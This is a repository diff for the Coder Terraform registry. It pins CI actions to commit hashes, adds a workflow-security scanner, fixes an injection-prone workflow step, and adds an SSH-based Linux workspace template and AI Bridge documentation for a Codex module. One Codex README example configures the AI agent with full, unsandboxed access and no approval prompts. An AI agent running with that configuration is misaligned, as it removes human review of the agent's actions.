diff --git a/.github/workflows/check_registry_site_health.yaml b/.github/workflows/check_registry_site_health.yaml index fe4a22a0..6f4c131a 100644 --- a/.github/workflows/check_registry_site_health.yaml +++ b/.github/workflows/check_registry_site_health.yaml @@ -11,7 +11,7 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v6 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - name: Run check.sh run: | diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index 37f29dd3..c0204f9f 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -12,9 +12,9 @@ jobs: runs-on: ubuntu-latest steps: - name: Check out code - uses: actions/checkout@v6 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - name: Detect changed files - uses: dorny/paths-filter@v3 + uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3 id: filter with: list-files: shell @@ -37,9 +37,9 @@ jobs: all: - '**' - name: Set up Terraform - uses: coder/coder/.github/actions/setup-tf@main + uses: coder/coder/.github/actions/setup-tf@b5360a9180613328a62d64efcfaac5a31980c746 # v2.29.2 - name: Set up Bun - uses: oven-sh/setup-bun@v2 + uses: oven-sh/setup-bun@3d267786b128fe76c2f16a390aa2448b815359f3 # v2 with: # We're using the latest version of Bun for now, but it might be worth # reconsidering. They've pushed breaking changes in patch releases @@ -80,20 +80,20 @@ jobs: runs-on: ubuntu-latest steps: - name: Check out code - uses: actions/checkout@v6 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - name: Install Bun - uses: oven-sh/setup-bun@v2 + uses: oven-sh/setup-bun@3d267786b128fe76c2f16a390aa2448b815359f3 # v2 with: bun-version: latest # Need Terraform for its formatter - name: Install Terraform - uses: coder/coder/.github/actions/setup-tf@main + uses: coder/coder/.github/actions/setup-tf@b5360a9180613328a62d64efcfaac5a31980c746 # v2.29.2 - name: Install dependencies run: bun install - name: Validate formatting run: bun fmt:ci - name: Check for typos - uses: crate-ci/typos@v1.42.0 + uses: crate-ci/typos@65120634e79d8374d1aa2f27e54baa0c364fff5a # v1.42.1 with: config: .github/typos.toml validate-readme-files: @@ -104,9 +104,9 @@ jobs: needs: validate-style steps: - name: Check out code - uses: actions/checkout@v6 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - name: Set up Go - uses: actions/setup-go@v6 + uses: actions/setup-go@7a3fe6cf4cb3a834922a1244abfce67bcef6a0c5 # v6 with: go-version: "1.24.0" - name: Validate contributors diff --git a/.github/workflows/deploy-registry.yaml b/.github/workflows/deploy-registry.yaml index cd90656a..eb61353a 100644 --- a/.github/workflows/deploy-registry.yaml +++ b/.github/workflows/deploy-registry.yaml @@ -28,7 +28,7 @@ jobs: steps: - name: Checkout code - uses: actions/checkout@v6 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - name: Authenticate with Google Cloud uses: google-github-actions/auth@7c6bc770dae815cd3e89ee6cdf493a5fab2cc093 with: diff --git a/.github/workflows/golangci-lint.yml b/.github/workflows/golangci-lint.yml index 5d58483f..599ad548 100644 --- a/.github/workflows/golangci-lint.yml +++ b/.github/workflows/golangci-lint.yml @@ -14,11 +14,11 @@ jobs: name: lint runs-on: ubuntu-latest steps: - - uses: actions/checkout@v6 - - uses: actions/setup-go@v6 + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + - uses: actions/setup-go@7a3fe6cf4cb3a834922a1244abfce67bcef6a0c5 # v6 with: go-version: stable - name: golangci-lint - uses: golangci/golangci-lint-action@v9 + uses: golangci/golangci-lint-action@1e7e51e771db61008b38414a730f564565cf7c20 # v9 with: version: v2.1 diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 898613e5..88feea8d 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -14,7 +14,7 @@ jobs: steps: - name: Checkout code - uses: actions/checkout@v6 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: fetch-depth: 0 persist-credentials: false @@ -89,9 +89,9 @@ jobs: for sha in $MODULE_COMMIT_SHAS; do SHORT_SHA=${sha:0:7} - + COMMIT_LINES=$(echo "$FULL_CHANGELOG" | grep -E "$SHORT_SHA|$(git log --format='%s' -n 1 $sha)" || true) - + if [ -n "$COMMIT_LINES" ]; then FILTERED_CHANGELOG="${FILTERED_CHANGELOG}${COMMIT_LINES}\n" else diff --git a/.github/workflows/version-bump.yaml b/.github/workflows/version-bump.yaml index aff9e0a1..2e255414 100644 --- a/.github/workflows/version-bump.yaml +++ b/.github/workflows/version-bump.yaml @@ -20,26 +20,28 @@ jobs: issues: write steps: - name: Checkout code - uses: actions/checkout@v6 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: fetch-depth: 0 token: ${{ secrets.GITHUB_TOKEN }} - name: Set up Bun - uses: oven-sh/setup-bun@v2 + uses: oven-sh/setup-bun@3d267786b128fe76c2f16a390aa2448b815359f3 # v2 with: bun-version: latest - name: Set up Terraform - uses: coder/coder/.github/actions/setup-tf@main + uses: coder/coder/.github/actions/setup-tf@b5360a9180613328a62d64efcfaac5a31980c746 # v2.29.2 - name: Install dependencies run: bun install - name: Extract bump type from label + env: + LABEL_NAME: ${{ github.event.label.name }} id: bump-type run: | - case "${{ github.event.label.name }}" in + case "$LABEL_NAME" in "version:patch") echo "type=patch" >> $GITHUB_OUTPUT ;; @@ -50,7 +52,7 @@ jobs: echo "type=major" >> $GITHUB_OUTPUT ;; *) - echo "Invalid version label: ${{ github.event.label.name }}" + echo "Invalid version label: ${LABEL_NAME}" exit 1 ;; esac @@ -60,7 +62,7 @@ jobs: - name: Comment on PR - Version bump required if: failure() - uses: actions/github-script@v8 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 with: github-token: ${{ secrets.GITHUB_TOKEN }} script: | diff --git a/.github/workflows/zizmor.yaml b/.github/workflows/zizmor.yaml new file mode 100644 index 00000000..8dc3a171 --- /dev/null +++ b/.github/workflows/zizmor.yaml @@ -0,0 +1,55 @@ +name: GitHub Actions Security Analysis (zizmor) + +on: + pull_request: + branches: ["**"] + paths: + - ".github/workflows/**" + push: + branches: ["main"] + paths: + - ".github/workflows/**" + workflow_dispatch: + +permissions: {} + +jobs: + zizmor_pr_blocking: + if: github.event_name == 'pull_request' + runs-on: ubuntu-latest + permissions: + contents: read + actions: read + steps: + - name: Checkout repository + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Run zizmor (blocking, HIGH only) + uses: zizmorcore/zizmor-action@135698455da5c3b3e55f73f4419e481ab68cdd95 # v0.4.1 + with: + advanced-security: false + annotations: true + min-severity: high + inputs: | + .github/workflows + + zizmor_main_sarif: + if: github.event_name != 'pull_request' + runs-on: ubuntu-latest + permissions: + security-events: write + contents: read + actions: read + steps: + - name: Checkout repository + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Run zizmor (SARIF) + uses: zizmorcore/zizmor-action@135698455da5c3b3e55f73f4419e481ab68cdd95 # v0.4.1 + with: + inputs: | + .github/workflows diff --git a/.icons/linux.svg b/.icons/linux.svg new file mode 100644 index 00000000..6b558e7b --- /dev/null +++ b/.icons/linux.svg @@ -0,0 +1,438 @@ + + + Tux + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/AGENTS.md b/AGENTS.md index bc69ef4a..42ac3ed2 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -1,168 +1,41 @@ # AGENTS.md -This file provides guidance to AI coding assistants when working with code in this repository. +Coder Registry: Terraform modules/templates for Coder workspaces under `registry/[namespace]/modules/` and `registry/[namespace]/templates/`. -## Project Overview - -The Coder Registry is a community-driven repository for Terraform modules and templates that extend Coder workspaces. It's organized with: - -- **Modules**: Individual components and tools (IDEs, auth integrations, dev tools) -- **Templates**: Complete workspace configurations for different platforms -- **Namespaces**: Each contributor has their own namespace under `/registry/[namespace]/` - -## Common Development Commands - -### Formatting +## Commands ```bash -bun run fmt # Format all code (Prettier + Terraform) -bun run fmt:ci # Check formatting (CI mode) +bun run fmt # Format code (Prettier + Terraform) - run before commits +bun run tftest # Run all Terraform tests +bun run tstest # Run all TypeScript tests +terraform init -upgrade && terraform test -verbose # Test single module (run from module dir) +bun test main.test.ts # Run single TS test (from module dir) +./scripts/terraform_validate.sh # Validate Terraform syntax +./scripts/new_module.sh ns/name # Create new module scaffold +.github/scripts/version-bump.sh patch | minor | major # Bump module version after changes ``` -### Testing +## Structure -```bash -# Test all modules with .tftest.hcl files -bun run test +- **Modules**: `registry/[ns]/modules/[name]/` with `main.tf`, `README.md` (YAML frontmatter), `.tftest.hcl` (required) +- **Templates**: `registry/[ns]/templates/[name]/` with `main.tf`, `README.md` +- **Validation**: `cmd/readmevalidation/` (Go) validates structure/frontmatter; URLs must be relative, not absolute -# Test specific module (from module directory) -terraform init -upgrade -terraform test -verbose +## Code Style -# Validate Terraform syntax -./scripts/terraform_validate.sh -``` +- Every module MUST have `.tftest.hcl` tests; optional `main.test.ts` for container/script tests +- README frontmatter: `display_name`, `description`, `icon`, `verified: false`, `tags` +- Use semantic versioning; bump version via script when modifying modules +- Docker tests require Linux or Colima/OrbStack (not Docker Desktop) +- Use `tf` (not `hcl`) for code blocks in README; use relative icon paths (e.g., `../../../../.icons/`) -### Module Creation +## PR Review Checklist -```bash -# Generate new module scaffold -./scripts/new_module.sh namespace/module-name -``` - -### TypeScript Testing & Setup - -The repository uses Bun for TypeScript testing with utilities: - -- `test/test.ts` - Testing utilities for container management and Terraform operations -- `setup.ts` - Test cleanup (removes .tfstate files and test containers) -- Container-based testing with Docker for module validation - -## Architecture & Organization - -### Directory Structure - -``` -registry/[namespace]/ -├── README.md # Contributor info with frontmatter -├── .images/ # Namespace avatar (avatar.png/svg) -├── modules/ # Individual components -│ └── [module]/ # Each module has main.tf, README.md, tests -└── templates/ # Complete workspace configs - └── [template]/ # Each template has main.tf, README.md -``` - -### Key Components - -**Module Structure**: Each module contains: - -- `main.tf` - Terraform implementation -- `README.md` - Documentation with YAML frontmatter -- `.tftest.hcl` - Terraform test files (required) -- `run.sh` - Optional startup script - -**Template Structure**: Each template contains: - -- `main.tf` - Complete Coder template configuration -- `README.md` - Documentation with YAML frontmatter -- Additional configs, scripts as needed - -### README Frontmatter Requirements - -All modules/templates require YAML frontmatter: - -```yaml ---- -display_name: "Module Name" -description: "Brief description" -icon: "../../../../.icons/tool.svg" -verified: false -tags: ["tag1", "tag2"] ---- -``` - -## Testing Requirements - -### Module Testing - -- Every module MUST have `.tftest.hcl` test files -- Optional `main.test.ts` files for container-based testing or complex business logic validation -- Tests use Docker containers with `--network=host` flag -- Linux required for testing (Docker Desktop on macOS/Windows won't work) -- Use Colima or OrbStack on macOS instead of Docker Desktop - -### Test Utilities - -The `test/test.ts` file provides: - -- `runTerraformApply()` - Execute Terraform with variables -- `executeScriptInContainer()` - Run coder_script resources in containers -- `testRequiredVariables()` - Validate required variables -- Container management functions - -## Validation & Quality - -### Automated Validation - -The Go validation tool (`cmd/readmevalidation/`) checks: - -- Repository structure integrity -- Contributor README files -- Module and template documentation -- Frontmatter format compliance - -### Versioning - -Use semantic versioning for modules: - -- **Patch** (1.2.3 → 1.2.4): Bug fixes -- **Minor** (1.2.3 → 1.3.0): New features, adding inputs -- **Major** (1.2.3 → 2.0.0): Breaking changes - -## Dependencies & Tools - -### Required Tools - -- **Terraform** - Module development and testing -- **Docker** - Container-based testing -- **Bun** - JavaScript runtime for formatting/scripts -- **Go 1.23+** - Validation tooling - -### Development Dependencies - -- Prettier with Terraform and shell plugins -- TypeScript for test utilities -- Various npm packages for documentation processing - -## Workflow Notes - -### Contributing Process - -1. Create namespace (first-time contributors) -2. Generate module/template files using scripts -3. Implement functionality and tests -4. Run formatting and validation -5. Submit PR with appropriate template - -### Testing Workflow - -- All modules must pass `terraform test` -- Use `bun run test` for comprehensive testing -- Format code with `bun run fmt` before submission -- Manual testing recommended for templates - -### Namespace Management - -- Each contributor gets unique namespace -- Namespace avatar required (avatar.png/svg in .images/) -- Namespace README with contributor info and frontmatter +- Version bumped via `.github/scripts/version-bump.sh` if module changed (patch=bugfix, minor=feature, major=breaking) +- Breaking changes documented: removed inputs, changed defaults, new required variables +- New variables have sensible defaults to maintain backward compatibility +- Tests pass (`bun run tftest`, `bun run tstest`); add diagnostic logging for test failures +- README examples updated with new version number; tooltip/behavior changes noted +- Shell scripts handle errors gracefully (use `|| echo "Warning..."` for non-fatal failures) +- No hardcoded values that should be configurable; no absolute URLs (use relative paths) +- If AI-assisted: include model and tool/agent name at footer of PR body (e.g., "Generated with [Amp](thread-url) using Claude") diff --git a/registry/Excellencedev/templates/hetzner-linux/main.tf b/registry/Excellencedev/templates/hetzner-linux/main.tf index 03e01a10..134bf634 100644 --- a/registry/Excellencedev/templates/hetzner-linux/main.tf +++ b/registry/Excellencedev/templates/hetzner-linux/main.tf @@ -137,11 +137,12 @@ locals { hcloud_server_types = { for st in jsondecode(data.http.hcloud_server_types.response_body).server_types : st.name => { - cores = st.cores - memory_gb = st.memory - disk_gb = st.disk - locations = [for l in st.locations : l.name] - deprecated = st.deprecated + cores = st.cores + memory_gb = st.memory + disk_gb = st.disk + architecture = st.architecture + locations = [for l in st.locations : l.name] + deprecated = st.deprecated } if st.deprecated == false } @@ -162,6 +163,19 @@ locals { data.coder_parameter.hcloud_location.value ) ] + + # Map Hetzner architecture (x86 or arm) to Coder agent architecture (amd64 or arm64) + agent_arch = try( + lookup( + { + "x86" = "amd64" + "arm" = "arm64" + }, + local.hcloud_server_types[data.coder_parameter.hcloud_server_type.value].architecture, + "amd64" # Fallback if not returned + ), + "amd64" # Fallback for template setup + ) } data "coder_provisioner" "me" {} @@ -187,7 +201,7 @@ data "coder_parameter" "home_volume_size" { resource "coder_agent" "main" { os = "linux" - arch = "amd64" + arch = local.agent_arch metadata { key = "cpu" diff --git a/registry/IamTaoChen/.images/avatar.png b/registry/IamTaoChen/.images/avatar.png new file mode 100644 index 00000000..f14100c4 Binary files /dev/null and b/registry/IamTaoChen/.images/avatar.png differ diff --git a/registry/IamTaoChen/README.md b/registry/IamTaoChen/README.md new file mode 100644 index 00000000..5aa2971b --- /dev/null +++ b/registry/IamTaoChen/README.md @@ -0,0 +1,16 @@ +--- +display_name: "Tao Chen" +bio: "I believe in the power of technology to simplify life. Currently a freelancer, working on ideas that matter." +github: "IamTaoChen" +avatar: "./.images/avatar.png" +support_email: "IamTaoChen@gmail.com" +status: "community" +--- + +# Tao Chen + +## Template + +### ssh-linux + +Provision an existing Linux system as a workspace by deploying the Coder agent via SSH with this example template. diff --git a/registry/IamTaoChen/templates/ssh-linux/README.md b/registry/IamTaoChen/templates/ssh-linux/README.md new file mode 100644 index 00000000..ce78e751 --- /dev/null +++ b/registry/IamTaoChen/templates/ssh-linux/README.md @@ -0,0 +1,58 @@ +--- +display_name: Deploy Coder on existing Linux System +description: Provision an existing Linux system as a workspace by deploying the Coder agent via SSH with this example template. +icon: "../../../../.icons/linux.svg" +verified: false +tags: ["linux"] +--- + +# Deploy Coder on existing Linux system + +Provision an existing Linux system as a [Coder workspace](https://coder.com/docs/workspaces) by deploying the Coder agent via SSH with this example template. + +## Prerequisites + +### Authentication + +This template assumes you have SSH access to the target Linux system. You can use either password-based authentication or an SSH private key. Ensure the target system allows SSH connections and has basic utilities like `bash` installed. The user account specified must have sufficient permissions to execute scripts and manage processes in their home directory. + +For more details on SSH setup, consult your Linux distribution's documentation or standard SSH guides. + +## Architecture + +This template deploys the following: + +- A Coder agent configured for Linux (amd64 architecture). +- Conditional parameters for SSH authentication (password or key). +- A selection of applications (e.g., VS Code Desktop, VS Code Web, Cursor) that can be enabled via multi-select. +- `null_resource` blocks to handle workspace start/stop: + - On start: Connects via SSH, creates a cache directory, writes and executes the agent's init script in the background, and logs the process ID. + - On stop: Connects via SSH, kills the agent process if running, and removes the cache directory. +- Optional modules for additional apps like `coder-login`, `cursor`, and `vscode-web`, which are provisioned only if selected and when the workspace starts. + +This setup does not provision new infrastructure; it remotely deploys and manages the Coder agent on your existing Linux host. Files and configurations in the user's home directory persist across restarts, but the agent is stopped and cleaned up on workspace stop. + +### Persistent Agent + +The agent is ephemeral by design (started on workspace start, stopped on stop). If you need a persistently running agent, modify the template to remove the stop logic or run the agent manually on the host. + +## Security Considerations + +Warning: This template stores SSH credentials (password or private key) in the Terraform state file and passes them as environment variables during deployment. In production environments, this can introduce security risks, as the state file contains sensitive information in plain text and may be accessible if not properly secured. + +## Usage + +1. Create a new workspace in Coder using this template. +2. Fill in the parameters with your Linux system's details. +3. Start the workspace—Coder will connect via SSH and deploy the agent. +4. Access the workspace through the Coder dashboard. Selected apps (e.g., VS Code) will be available. +5. On stop, the agent process is terminated and cleaned up. + +## Troubleshooting + +- **SSH Connection Issues**: Verify the host, port, username, and credentials. Check firewall rules and SSH server status on the target system. Review the debug log at `~/.coder//debug.log` on the remote host. +- **Agent Not Starting**: Inspect the log file at `~/.coder//coder.log` on the remote host for errors. +- **App Not Appearing**: Ensure the app is selected in parameters and the workspace is restarted if changes are made. +- **Validation Errors**: Parameters like host and port have built-in validations—ensure inputs match the requirements. + +For more advanced customization, refer to the [Coder Terraform provider documentation](https://registry.terraform.io/providers/coder/coder/latest/docs). diff --git a/registry/IamTaoChen/templates/ssh-linux/main.tf b/registry/IamTaoChen/templates/ssh-linux/main.tf new file mode 100644 index 00000000..42df9dce --- /dev/null +++ b/registry/IamTaoChen/templates/ssh-linux/main.tf @@ -0,0 +1,319 @@ +terraform { + required_providers { + coder = { + source = "coder/coder" + version = ">= 2.4.0" + } + random = { + source = "hashicorp/random" + version = ">= 3.6" + } + } +} + +provider "coder" {} +data "coder_workspace" "me" {} +data "coder_workspace_owner" "me" {} + + +data "coder_parameter" "host" { + description = "Remote Host or IP" + display_name = "Host" + name = "host" + type = "string" + default = "192.168.1.1" + mutable = false + order = 1 + validation { + regex = "^[a-zA-Z0-9:.%\\-]+$" + error = "Please enter a valid hostname, IPv4, or IPv6 address. Examples: example.com, 192.168.1.1, or fe80::1" + } +} + +data "coder_parameter" "username" { + default = data.coder_workspace_owner.me.name + description = "SSH Username" + display_name = "Username" + name = "username" + mutable = false + order = 2 +} + +data "coder_parameter" "auth_type" { + name = "auth_type" + display_name = "SSH Auth Type" + description = "Authentication method for SSH" + type = "string" + + form_type = "dropdown" + default = "password" + mutable = true + order = 3 + option { + name = "password" + value = "password" + } + + option { + name = "SSH Key Manual" + value = "ssh_key" + } + + option { + name = "SSH Key from Coder" + value = "ssh_key_coder" + } + +} + +data "coder_parameter" "ssh_password" { + count = data.coder_parameter.auth_type.value == "password" ? 1 : 0 + name = "ssh_password" + display_name = "SSH Password" + description = "Password for SSH login" + type = "string" + mutable = true + styling = jsonencode({ + mask_input = true + }) + order = 4 +} + +data "coder_parameter" "ssh_key" { + count = data.coder_parameter.auth_type.value == "ssh_key" ? 1 : 0 + name = "ssh_key" + display_name = "SSH Private Key" + description = "Paste SSH private key" + type = "string" + mutable = true + form_type = "textarea" + styling = jsonencode({ + mask_input = true + }) + order = 4 +} + +data "coder_parameter" "ssh_key_coder" { + count = data.coder_parameter.auth_type.value == "ssh_key_coder" ? 1 : 0 + name = "ssh_key_coder" + display_name = "Public Key From Coder" + description = "Add this public key to your remote server's authorized_keys: \n\n${data.coder_workspace_owner.me.ssh_public_key}" + default = "********************" + styling = jsonencode({ + disabled = true + mask_input = true + }) + order = 4 +} + + +data "coder_parameter" "port" { + default = 22 + description = "SSH Port" + display_name = "Port" + name = "port" + type = "number" + mutable = true + order = 5 + validation { + min = 1 + max = 65535 + error = "Port must be between 1 and 65535" + } +} + +data "coder_parameter" "apps" { + name = "apps" + display_name = "Choose any APPs for your workspace." + type = "list(string)" + form_type = "multi-select" + mutable = true + default = jsonencode(["VS Code Desktop"]) + dynamic "option" { + for_each = local.apps_candidate + content { + name = option.value + value = option.value + } + } +} + +locals { + username = data.coder_parameter.username.value + home_dir = "/home/${lower(local.username)}" + coder_cache_dir = "${local.home_dir}/.coder/${data.coder_workspace.me.id}" + agent_id_file = "${local.coder_cache_dir}/agent.id" + use_password = data.coder_parameter.auth_type.value == "password" + use_key = contains(["ssh_key", "ssh_key_coder"], data.coder_parameter.auth_type.value) + ssh_password = local.use_password ? data.coder_parameter.ssh_password[0].value : null + ssh_private_key = data.coder_parameter.auth_type.value == "ssh_key_coder" ? data.coder_workspace_owner.me.ssh_private_key : (length(data.coder_parameter.ssh_key) > 0 ? data.coder_parameter.ssh_key[0].value : null) + apps_candidate = ["VS Code Desktop", "VS Code Web", "Cursor"] + apps_selected = (can(data.coder_parameter.apps.value) && data.coder_parameter.apps.value != "") ? jsondecode(data.coder_parameter.apps.value) : [] +} + +resource "random_integer" "vs_code_port" { + min = 54000 + max = 55999 +} + +resource "coder_agent" "main" { + os = "linux" + arch = "amd64" + + startup_script = <<-EOT + #!/bin/bash + set -euo pipefail + EOT + + env = { + GIT_AUTHOR_NAME = coalesce(data.coder_workspace_owner.me.full_name, data.coder_workspace_owner.me.name) + GIT_AUTHOR_EMAIL = "${data.coder_workspace_owner.me.email}" + GIT_COMMITTER_NAME = coalesce(data.coder_workspace_owner.me.full_name, data.coder_workspace_owner.me.name) + GIT_COMMITTER_EMAIL = "${data.coder_workspace_owner.me.email}" + } + + display_apps { + port_forwarding_helper = true + vscode = contains(local.apps_selected, "VS Code Desktop") + vscode_insiders = false + web_terminal = true + ssh_helper = true + } + + metadata { + key = "cpu" + display_name = "CPU Usage" + interval = 5 + timeout = 5 + script = "coder stat cpu" + } + metadata { + key = "memory" + display_name = "Memory Usage" + interval = 5 + timeout = 5 + script = "coder stat mem" + } + metadata { + key = "disk" + display_name = "Home Disk Usage" + interval = 600 + timeout = 30 + script = "coder stat disk --path ${lower(local.home_dir)}" + } +} + +resource "null_resource" "deploy_coder_agent" { + count = data.coder_workspace.me.start_count + + triggers = { + init_script = sha256(coder_agent.main.init_script) + token = coder_agent.main.token + } + + connection { + type = "ssh" + host = data.coder_parameter.host.value + user = data.coder_parameter.username.value + port = data.coder_parameter.port.value + password = local.ssh_password + private_key = local.ssh_private_key + timeout = "5m" + } + + provisioner "remote-exec" { + inline = [ + "mkdir -p ${local.coder_cache_dir}", + "coder_sh=${local.coder_cache_dir}/coder.sh", + "log_file=${local.coder_cache_dir}/coder.log", + "cat > $coder_sh << 'EOF'", + "${coder_agent.main.init_script}", + "EOF", + "chmod +x $coder_sh", + "echo \"$(date) : create $coder_sh\" >> ${local.coder_cache_dir}/debug.log", + "nohup env CODER_AGENT_TOKEN='${coder_agent.main.token}' $coder_sh > $log_file 2>&1 &", + "echo $! > ${local.agent_id_file}", + "echo \"$(date) : run $coder_sh and log at $log_file\" >> ${local.coder_cache_dir}/debug.log", + ] + } +} + +resource "null_resource" "coder_stop" { + count = (try(data.coder_workspace.me.start_count, 1) > 0 ? 0 : 1) + + connection { + type = "ssh" + host = data.coder_parameter.host.value + user = data.coder_parameter.username.value + port = data.coder_parameter.port.value + password = local.ssh_password + private_key = local.ssh_private_key + timeout = "5m" + } + + provisioner "remote-exec" { + inline = [ + "set -u", + "PID_FILE=${local.agent_id_file}", + # Only proceed if PID file exists + "if [ -f \"$PID_FILE\" ]; then", + " PID=$(cat \"$PID_FILE\")", + # Check if it's actually a number and process exists + " if [ -n \"$PID\" ] && echo \"$PID\" | grep -q '^[0-9][0-9]*$' && kill -0 \"$PID\" 2>/dev/null; then", + " echo \"Gracefully stopping process $PID...\"", + # First try graceful termination + " kill -TERM \"$PID\" 2>/dev/null || true", + # Wait and check repeatedly (up to ~15 seconds total) + " for i in $(seq 1 15); do", + " sleep 1", + " if ! kill -0 \"$PID\" 2>/dev/null; then", + " echo \"Process $PID terminated gracefully\"", + " break", + " fi", + # Show we're still waiting (every 5 seconds) + " expr $i % 5 = 0 >/dev/null && echo \"Still waiting... ($i/15 seconds)\"", + " done", + # Final check - only kill -9 if still alive" + " if kill -0 \"$PID\" 2>/dev/null; then", + " echo \"Process $PID did not terminate in time - sending SIGKILL\"", + " kill -KILL \"$PID\" 2>/dev/null || true", + " fi", + " else", + " echo \"No running process found for PID $PID (or invalid PID)\"", + " fi", + " ", + # Clean lean up regardless of whether kill succeeded + " rm -f \"$PID_FILE\"", + " rm -rf ${local.coder_cache_dir} 2>/dev/null || true", + "else", + " echo \"PID file not found: $PID_FILE - nothing to clean up\"", + "fi", + "sync 2>/dev/null || true", + ] + } +} + + +module "coder-login" { + count = data.coder_workspace.me.start_count + source = "registry.coder.com/coder/coder-login/coder" + version = "1.1.1" + agent_id = coder_agent.main.id +} + +module "cursor" { + count = contains(local.apps_selected, "Cursor") ? data.coder_workspace.me.start_count : 0 + source = "registry.coder.com/coder/cursor/coder" + version = "1.4.0" + agent_id = coder_agent.main.id +} + +module "vscode-web" { + count = contains(local.apps_selected, "VS Code Web") ? data.coder_workspace.me.start_count : 0 + source = "registry.coder.com/coder/vscode-web/coder" + version = "1.4.3" + agent_id = coder_agent.main.id + folder = local.home_dir + port = random_integer.vs_code_port.result + accept_license = true +} diff --git a/registry/coder-labs/modules/codex/README.md b/registry/coder-labs/modules/codex/README.md index f98f9882..b4a895de 100644 --- a/registry/coder-labs/modules/codex/README.md +++ b/registry/coder-labs/modules/codex/README.md @@ -3,7 +3,7 @@ display_name: Codex CLI icon: ../../../../.icons/openai.svg description: Run Codex CLI in your workspace with AgentAPI integration verified: true -tags: [agent, codex, ai, openai, tasks] +tags: [agent, codex, ai, openai, tasks, aibridge] --- # Codex CLI @@ -13,7 +13,7 @@ Run Codex CLI in your workspace to access OpenAI's models through the Codex inte ```tf module "codex" { source = "registry.coder.com/coder-labs/codex/coder" - version = "4.0.0" + version = "4.1.1" agent_id = coder_agent.example.id openai_api_key = var.openai_api_key workdir = "/home/coder/project" @@ -32,7 +32,7 @@ module "codex" { module "codex" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder-labs/codex/coder" - version = "4.0.0" + version = "4.1.1" agent_id = coder_agent.example.id openai_api_key = "..." workdir = "/home/coder/project" @@ -40,7 +40,49 @@ module "codex" { } ``` -### Tasks integration +### Usage with AI Bridge + +[AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) is a Premium Coder feature that provides centralized LLM proxy management. To use AI Bridge, set `enable_aibridge = true`. Requires Coder version 2.30+ + +For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage with Tasks](#usage-with-tasks) example below. + +#### Standalone usage with AI Bridge + +```tf +module "codex" { + source = "registry.coder.com/coder-labs/codex/coder" + version = "4.1.1" + agent_id = coder_agent.example.id + workdir = "/home/coder/project" + enable_aibridge = true +} +``` + +When `enable_aibridge = true`, the module: + +- Configures Codex to use the AI Bridge profile with `base_url` pointing to `${data.coder_workspace.me.access_url}/api/v2/aibridge/openai/v1` and `env_key` pointing to the workspace owner's session token + +```toml +[model_providers.aibridge] +name = "AI Bridge" +base_url = "https://example.coder.com/api/v2/aibridge/openai/v1" +env_key = "CODER_AIBRIDGE_SESSION_TOKEN" +wire_api = "responses" + +[profiles.aibridge] +model_provider = "aibridge" +model = "" # as configured in the module input +model_reasoning_effort = "" # as configured in the module input +``` + +Codex then runs with `--profile aibridge` + +This allows Codex to route API requests through Coder's AI Bridge instead of directly to OpenAI's API. +Template build will fail if `openai_api_key` is provided alongside `enable_aibridge = true`. + +### Usage with Tasks + +This example shows how to configure Codex with Coder tasks. ```tf resource "coder_ai_task" "task" { @@ -52,17 +94,46 @@ data "coder_task" "me" {} module "codex" { source = "registry.coder.com/coder-labs/codex/coder" - version = "4.0.0" + version = "4.1.1" agent_id = coder_agent.example.id openai_api_key = "..." ai_prompt = data.coder_task.me.prompt workdir = "/home/coder/project" - # Custom configuration for full auto mode + # Optional: route through AI Bridge (Premium feature) + # enable_aibridge = true +} +``` + +### Advanced Configuration + +This example shows additional configuration options for custom models, MCP servers, and base configuration. + +```tf +module "codex" { + source = "registry.coder.com/coder-labs/codex/coder" + version = "4.1.1" + agent_id = coder_agent.example.id + openai_api_key = "..." + workdir = "/home/coder/project" + + codex_version = "0.1.0" # Pin to a specific version + codex_model = "gpt-4o" # Custom model + + # Override default configuration base_config_toml = <<-EOT + sandbox_mode = "danger-full-access" approval_policy = "never" preferred_auth_method = "apikey" EOT + + # Add extra MCP servers + additional_mcp_servers = <<-EOT + [mcp_servers.GitHub] + command = "npx" + args = ["-y", "@modelcontextprotocol/server-github"] + type = "stdio" + EOT } ``` @@ -92,33 +163,6 @@ preferred_auth_method = "apikey" network_access = true ``` -### Custom Configuration - -For custom Codex configuration, use `base_config_toml` and/or `additional_mcp_servers`: - -```tf -module "codex" { - source = "registry.coder.com/coder-labs/codex/coder" - version = "4.0.0" - # ... other variables ... - - # 